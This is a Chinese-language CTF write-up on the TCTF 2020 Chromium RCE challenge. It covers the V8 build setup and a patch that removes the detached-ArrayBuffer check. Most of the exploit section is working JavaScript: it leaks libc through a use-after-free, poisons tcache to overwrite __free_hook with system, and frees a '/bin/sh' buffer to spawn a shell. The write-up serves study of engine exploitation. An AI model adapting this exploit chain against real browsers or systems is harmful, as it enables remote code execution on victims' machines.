透过tcft2020的chromium_rce学习V8
字数 1045 2025-08-24 10:10:13
V8漏洞分析与利用:从tcft2020 Chromium RCE学习V8引擎漏洞利用
1. 环境搭建
1.1 准备工作
-
代理设置(国内用户需要):
# 编辑 ~/.gitconfig [http] proxy = http://your_proxy_ip:port [https] proxy = http://your_proxy_ip:port # 在 ~/.zshrc 添加 alias proxy="export ALL_PROXY=http://your_proxy_ip:port" alias unproxy="unset ALL_PROXY" -
安装depot_tools:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.zshrc -
安装ninja:
git clone https://github.com/ninja-build/ninja.git cd ninja && ./configure.py --bootstrap && cd .. echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.zshrc
1.2 编译V8
-
获取指定版本的V8:
fetch v8 && cd v8 git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b gclient sync -
应用补丁:
git apply 'path/to/tctf.diff' -
编译debug版本:
tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug d8 -
编译release版本:
tools/dev/v8gen.py x64.release ninja -C out.gn/x64.release -
GDB调试设置:
# 在 ~/.gdbinit 添加 source /path/to/v8/tools/gdbinit source /path/to/v8/tools/gdb-v8-support.py
2. 题目分析
2.1 补丁分析
关键修改在typed-array-set.tq文件中:
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);
这个修改移除了对ArrayBuffer是否被detached的检查,导致即使ArrayBuffer已经被释放(detached),仍然可以对其进行读写操作。
2.2 漏洞原理
-
正常流程:
- 当ArrayBuffer被detached后,任何访问操作都应该抛出TypeError异常
EnsureAttached函数会检查ArrayBuffer状态
-
漏洞流程:
- 补丁移除了状态检查
- 即使ArrayBuffer被detached,仍然可以读写其内存
- 导致UAF(Use After Free)漏洞
3. 漏洞利用
3.1 调试方法
-
启动调试:
gdb --args ./d8 --allow-natives-syntax /path/to/exploit.js -
设置断点:
在JS代码中插入:%SystemBreak(); // 触发DebugBreak断点
3.2 利用步骤
-
分配和释放内存:
var chunk0 = new Uint8Array(0x1000); var chunk1 = new Uint8Array(0x1000); %ArrayBufferDetach(chunk0.buffer); %ArrayBufferDetach(chunk1.buffer); -
泄漏libc地址:
chunk2.set(chunk1); var libc_base = b2i(chunk2.slice(8, 16)) - 0x3ebca0n; -
准备tcache攻击:
var chunk4 = new Uint8Array(0x300); var chunk5 = new Uint8Array(0x300); %ArrayBufferDetach(chunk4.buffer); %ArrayBufferDetach(chunk5.buffer); -
劫持__free_hook:
chunk5.set(i2l(free_hook)); // 将free_hook地址写入tcache var chunk6 = malloc(0x300); // 分配得到free_hook处的内存 chunk6.set(i2l(system)); // 将system地址写入free_hook -
触发shell:
// 写入"/bin/sh"字符串 chunk6[0] = 0x2f; // '/' chunk6[1] = 0x62; // 'b' chunk6[2] = 0x69; // 'i' chunk6[3] = 0x6e; // 'n' chunk6[4] = 0x2f; // '/' chunk6[5] = 0x73; // 's' chunk6[6] = 0x68; // 'h' chunk6[7] = 0x00; // '\0' %ArrayBufferDetach(chunk6.buffer); // 触发free,执行system("/bin/sh")
3.3 辅助函数
// BigInt转ArrayBuffer
function b2i(a) {
var b = new BigUint64Array(a.buffer);
return b[0];
}
// BigInt转Uint8Array
function i2l(i) {
var b = new Uint8Array(BigUint64Array.from([i]).buffer);
return b;
}
// 格式化输出
function hex(i) {
return '0x' + i.toString(16).padStart(16, '0');
}
// 通过Uint8Array分配内存(可以分配到tcache)
function malloc(size) {
var chunk = {};
chunk.length = size;
var addr = new Uint8Array(chunk);
return addr;
}
4. 关键点总结
-
漏洞本质:移除ArrayBuffer的attached状态检查导致UAF
-
利用链:
- 通过释放大块内存泄漏libc地址
- 利用tcache poisoning劫持__free_hook
- 写入system地址并触发
-
调试技巧:
- 使用%SystemBreak()设置断点
- 使用%DebugPrint查看对象信息
- 注意区分debug和release版本的差异
-
内存操作:
- 通过Uint8Array/BigUint64Array进行精确内存读写
- 注意大小端问题
-
利用限制:
- 题目移除了--allow-native-syntax支持
- 但保留了%ArrayBufferDetach功能
5. 扩展思考
-
其他可能的利用方式:
- 除了tcache攻击,也可以考虑fastbin攻击
- 可以尝试劫持v8内部结构实现更稳定的利用
-
防护措施:
- 保持ArrayBuffer状态检查
- 使用现代防护机制(如PAC, MTE等)
-
现实意义:
- 类似漏洞在真实浏览器中可能导致RCE
- 理解这类漏洞有助于分析现代JS引擎安全问题